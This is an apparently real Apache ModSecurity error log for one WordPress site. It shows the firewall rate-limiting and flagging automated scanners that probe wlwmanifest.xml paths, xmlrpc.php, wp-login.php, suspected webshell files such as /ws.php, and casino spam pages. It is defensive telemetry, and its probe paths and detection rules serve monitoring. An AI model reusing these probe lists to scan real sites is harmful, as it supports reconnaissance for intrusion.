[Mon Apr 27 14:22:17.932144 2026] [:error] [pid 62607:tid 62615] [client 20.255.80.192:4881] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "ae8AmYXk80_zcPo33vfBIwAAAEY"]
[Mon Apr 27 15:33:03.757746 2026] [:error] [pid 41010:tid 41062] [client 182.44.2.148:35692] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ae8RLzc-oOrM_e97_4DmuAAAAdQ"]
[Mon Apr 27 17:13:53.242062 2026] [:error] [pid 41009:tid 41022] [client 43.157.22.109:53050] [client 43.157.22.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ae8o0dANrlkTbZMXYE2ooAAAAYg"]
[Mon Apr 27 21:25:31.169957 2026] [:error] [pid 13523:tid 13527] [client 118.179.177.17:60757] [client 118.179.177.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.179.177.17, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ae9jy-eav51IXKv1ebH7lgAAAII"]
[Mon Apr 27 21:53:55.768830 2026] [:error] [pid 13554:tid 13567] [client 34.169.82.53:50818] [client 34.169.82.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.169.82.53, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ae9qc3Jx87Dl-xMmL92U4gAAAMs"]
[Mon Apr 27 21:53:57.748302 2026] [:error] [pid 13554:tid 13569] [client 34.169.82.53:50818] [client 34.169.82.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ae9qdXJx87Dl-xMmL92U8gAAAM0"]
[Mon Apr 27 21:53:58.414783 2026] [:error] [pid 13465:tid 13503] [client 34.169.82.53:53722] [client 34.169.82.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ae9qdv19I-6GBJQxn_i70gAAAEg"]
[Mon Apr 27 21:53:59.072448 2026] [:error] [pid 13464:tid 13470] [client 34.169.82.53:53541] [client 34.169.82.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "ae9qd2IEa0q6oQ95zvEsMAAAAcI"]
[Mon Apr 27 21:53:59.726323 2026] [:error] [pid 13554:tid 13570] [client 34.169.82.53:64638] [client 34.169.82.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "ae9qd3Jx87Dl-xMmL92U9gAAAM4"]
[Mon Apr 27 21:54:00.402772 2026] [:error] [pid 13465:tid 13498] [client 34.169.82.53:55503] [client 34.169.82.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ae9qeP19I-6GBJQxn_i71gAAAEM"]
[Mon Apr 27 21:54:01.065557 2026] [:error] [pid 13554:tid 13559] [client 34.169.82.53:57327] [client 34.169.82.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ae9qeXJx87Dl-xMmL92U-AAAAMM"]
[Mon Apr 27 21:54:01.716109 2026] [:error] [pid 13554:tid 13567] [client 34.169.82.53:53411] [client 34.169.82.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ae9qeXJx87Dl-xMmL92U-gAAAMs"]
[Mon Apr 27 22:17:36.691437 2026] [:error] [pid 13465:tid 13495] [client 13.75.199.23:7926] [client 13.75.199.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.75.199.23, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "ae9wAP19I-6GBJQxn_jAsQAAAEA"]
[Mon Apr 27 22:17:36.985162 2026] [:error] [pid 13465:tid 13507] [client 13.75.199.23:7926] [client 13.75.199.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ae9wAP19I-6GBJQxn_jAugAAAEw"]
[Mon Apr 27 22:17:37.047526 2026] [:error] [pid 13554:tid 13557] [client 13.75.199.23:13244] [client 13.75.199.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ae9wAXJx87Dl-xMmL92edAAAAME"]
[Mon Apr 27 22:17:37.105770 2026] [:error] [pid 13523:tid 13525] [client 13.75.199.23:14784] [client 13.75.199.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ae9wAeeav51IXKv1ebEIrwAAAIA"]
[Mon Apr 27 22:17:37.202328 2026] [:error] [pid 13465:tid 13505] [client 13.75.199.23:11122] [client 13.75.199.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ae9wAf19I-6GBJQxn_jAuwAAAEo"]
[Mon Apr 27 23:31:15.932585 2026] [:error] [pid 13465:tid 13515] [client 34.182.78.85:53356] [client 34.182.78.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.182.78.85, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ae-BQ_19I-6GBJQxn_jSTAAAAFQ"]
[Mon Apr 27 23:31:19.419228 2026] [:error] [pid 13465:tid 13503] [client 34.182.78.85:53356] [client 34.182.78.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ae-BR_19I-6GBJQxn_jSVwAAAEg"]
[Mon Apr 27 23:31:20.097857 2026] [:error] [pid 31555:tid 31559] [client 34.182.78.85:54457] [client 34.182.78.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ae-BSLJDZf3DNaSMAJ2I1wAAAAI"]
[Mon Apr 27 23:31:20.829819 2026] [:error] [pid 31555:tid 31570] [client 34.182.78.85:49418] [client 34.182.78.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "ae-BSLJDZf3DNaSMAJ2I2AAAAA0"]
[Mon Apr 27 23:31:21.552867 2026] [:error] [pid 13523:tid 13526] [client 34.182.78.85:62878] [client 34.182.78.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "ae-BSeeav51IXKv1ebEdvwAAAIE"]
[Mon Apr 27 23:31:22.273030 2026] [:error] [pid 13523:tid 13545] [client 34.182.78.85:56303] [client 34.182.78.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ae-BSueav51IXKv1ebEdwgAAAJQ"]
[Mon Apr 27 23:31:23.000732 2026] [:error] [pid 13554:tid 13561] [client 34.182.78.85:55785] [client 34.182.78.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ae-BSnJx87Dl-xMmL925sQAAAMU"]
[Mon Apr 27 23:31:23.752431 2026] [:error] [pid 13554:tid 13576] [client 34.182.78.85:55006] [client 34.182.78.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ae-BS3Jx87Dl-xMmL925sgAAANQ"]
[Tue Apr 28 04:28:57.179419 2026] [:error] [pid 14686:tid 14698] [client 182.43.70.143:36260] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ae_HCe-YPF1Xm7uiWQ74MQAAAMk"]
[Tue Apr 28 04:52:58.748200 2026] [:error] [pid 14579:tid 14650] [client 20.44.177.173:8567] [client 20.44.177.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.44.177.173, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "ae_MqhrUiOG83qKKuuDaOwAAAIo"]
[Tue Apr 28 04:52:59.909527 2026] [:error] [pid 14579:tid 14641] [client 20.44.177.173:8567] [client 20.44.177.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ae_MqxrUiOG83qKKuuDaTQAAAIE"]
[Tue Apr 28 04:53:00.390427 2026] [:error] [pid 14577:tid 14602] [client 20.44.177.173:1378] [client 20.44.177.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ae_MrCzBH-jwzlgiBdGjLgAAABA"]
[Tue Apr 28 04:53:00.881539 2026] [:error] [pid 14686:tid 14694] [client 20.44.177.173:1591] [client 20.44.177.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ae_MrO-YPF1Xm7uiWQ4S5wAAAMU"]
[Tue Apr 28 04:53:01.376388 2026] [:error] [pid 14579:tid 14641] [client 20.44.177.173:1989] [client 20.44.177.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ae_MrRrUiOG83qKKuuDaYgAAAIE"]
[Tue Apr 28 05:17:59.488081 2026] [:error] [pid 14686:tid 14699] [client 51.103.73.149:15470] [client 51.103.73.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "ae_Sh--YPF1Xm7uiWQ4gYwAAAMo"]
[Tue Apr 28 05:18:00.467798 2026] [:error] [pid 14686:tid 14694] [client 51.103.73.149:33399] [client 51.103.73.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "ae_SiO-YPF1Xm7uiWQ4gZgAAAMU"]
[Tue Apr 28 05:18:01.494025 2026] [:error] [pid 14686:tid 14697] [client 51.103.73.149:33375] [client 51.103.73.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "ae_Sie-YPF1Xm7uiWQ4gaQAAAMg"]
[Tue Apr 28 05:18:02.491125 2026] [:error] [pid 14579:tid 14650] [client 51.103.73.149:27653] [client 51.103.73.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "ae_SihrUiOG83qKKuuDmEQAAAIo"]
[Tue Apr 28 06:04:50.486349 2026] [:error] [pid 14578:tid 14634] [client 185.128.227.19:60912] [client 185.128.227.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.128.227.19, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "ae_dgungo3AwIJgfSHH_qgAAAFU"], referer: https://www.bing.com/
[Tue Apr 28 06:04:50.700208 2026] [:error] [pid 14577:tid 14589] [client 185.128.227.19:64327] [client 185.128.227.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.128.227.19, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "ae_dgizBH-jwzlgiBdGxmQAAAAM"], referer: https://www.google.com/
[Tue Apr 28 06:04:50.797434 2026] [:error] [pid 14578:tid 14628] [client 185.128.227.19:60912] [client 185.128.227.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.128.227.19, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "ae_dgungo3AwIJgfSHH_qwAAAE8"], referer: https://www.google.com/
[Tue Apr 28 08:32:56.055570 2026] [:error] [pid 33864:tid 33875] [client 37.187.27.125:51168] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "afAAODXchLGZ4QggCsmUqQAAAIk"]
[Tue Apr 28 08:32:58.915483 2026] [:error] [pid 33777:tid 33837] [client 37.187.27.125:53598] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "afAAOrXUCFWqmordGGLWPQAAAQI"]
[Tue Apr 28 08:33:04.318088 2026] [:error] [pid 33776:tid 33819] [client 37.187.27.125:54484] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "afAAQF-bEJ2CKP3iKADFEgAAAEs"]
[Tue Apr 28 08:33:06.806693 2026] [:error] [pid 33777:tid 33837] [client 37.187.27.125:54922] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "afAAQrXUCFWqmordGGLWSQAAAQI"]
[Tue Apr 28 08:33:09.645361 2026] [:error] [pid 33776:tid 33826] [client 37.187.27.125:55398] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "afAARV-bEJ2CKP3iKADFFQAAAFI"]
[Tue Apr 28 08:33:12.266430 2026] [:error] [pid 33777:tid 33846] [client 37.187.27.125:55828] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "afAASLXUCFWqmordGGLWXAAAAQs"]
[Tue Apr 28 08:33:14.855692 2026] [:error] [pid 33864:tid 33870] [client 37.187.27.125:56304] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "afAASjXchLGZ4QggCsmUwwAAAIQ"]
[Tue Apr 28 08:33:17.396031 2026] [:error] [pid 33864:tid 33874] [client 37.187.27.125:56772] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afAATTXchLGZ4QggCsmUxgAAAIg"]
[Tue Apr 28 08:33:19.958185 2026] [:error] [pid 50889:tid 50907] [client 37.187.27.125:57282] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afAAT4zszBr00txEzGiCsgAAAA8"]
[Tue Apr 28 08:33:22.594715 2026] [:error] [pid 50889:tid 50915] [client 37.187.27.125:57850] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afAAUozszBr00txEzGiCxQAAABc"]
[Tue Apr 28 08:33:25.248382 2026] [:error] [pid 50889:tid 50909] [client 37.187.27.125:58312] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afAAVYzszBr00txEzGiC0gAAABE"]
[Tue Apr 28 08:33:28.454016 2026] [:error] [pid 33864:tid 33888] [client 37.187.27.125:58790] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afAAWDXchLGZ4QggCsmU6wAAAJY"]
[Tue Apr 28 08:33:31.062813 2026] [:error] [pid 33775:tid 33801] [client 37.187.27.125:59410] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "afAAW5sYOcoQrq88YbXXfgAAANY"]
[Tue Apr 28 08:33:33.881517 2026] [:error] [pid 33864:tid 33886] [client 37.187.27.125:60054] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afAAXTXchLGZ4QggCsmU9QAAAJQ"]
[Tue Apr 28 08:33:36.526251 2026] [:error] [pid 50889:tid 50905] [client 37.187.27.125:60588] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afAAYIzszBr00txEzGiDDwAAAA0"]
